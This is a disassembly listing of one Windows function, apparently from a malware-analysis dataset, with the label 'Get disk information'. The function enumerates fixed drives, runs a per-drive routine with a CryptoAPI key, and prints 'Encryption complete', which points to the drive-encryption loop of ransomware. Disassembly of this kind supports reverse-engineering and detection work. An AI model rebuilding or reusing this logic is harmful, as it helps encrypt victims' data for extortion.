Function at 0x140002a40
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x1a0
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rsp + 0x190], rax
lea rcx, [rsp + 0x48]
call fcn.140001290
nop
lea rdx, [rsp + 0x80]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
test eax, eax
je 0x140002bc9
lea rbx, [rsp + 0x80]
xor edi, edi
nop
cmp byte [rbx], 0
je 0x140002bc9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x140002bae
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x40], rdi
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x140002ac4
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.140003280
nop
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140002b1d
lea rax, [rsp + 0x28]
mov rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x40]
cmp r8, 0xf
cmova rax, rdx
cmp byte [rcx + rax - 1], 0x5c
jne 0x140002b1d
dec rcx
mov qword [rsp + 0x38], rcx
lea rax, [rsp + 0x28]
cmp r8, 0xf
cmova rax, rdx
mov byte [rax + rcx], 0
lea rdx, str.Processing_drive:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003060
lea rdx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0xf
cmova rdx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x38]
mov rcx, rax
call fcn.140003510
lea rdx, [0x140003240]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x28]
call fcn.140002320
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x140002bae
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ba9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002ba9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043bc
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], 0
jne 0x140002bb5
inc rbx
add rbx, rax
jmp 0x140002a90
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140002bd9
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140002beb
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140002c2c
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002c26
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002c26
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400043bc
nop
lea rdx, str.Encryption_complete_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003060
mov rcx, rax
lea rdx, [0x140003240]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
jmp 0x140002c58
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.140003f30
mov rbx, qword [rsp + 0x1b0]
add rsp, 0x1a0
pop rdi
ret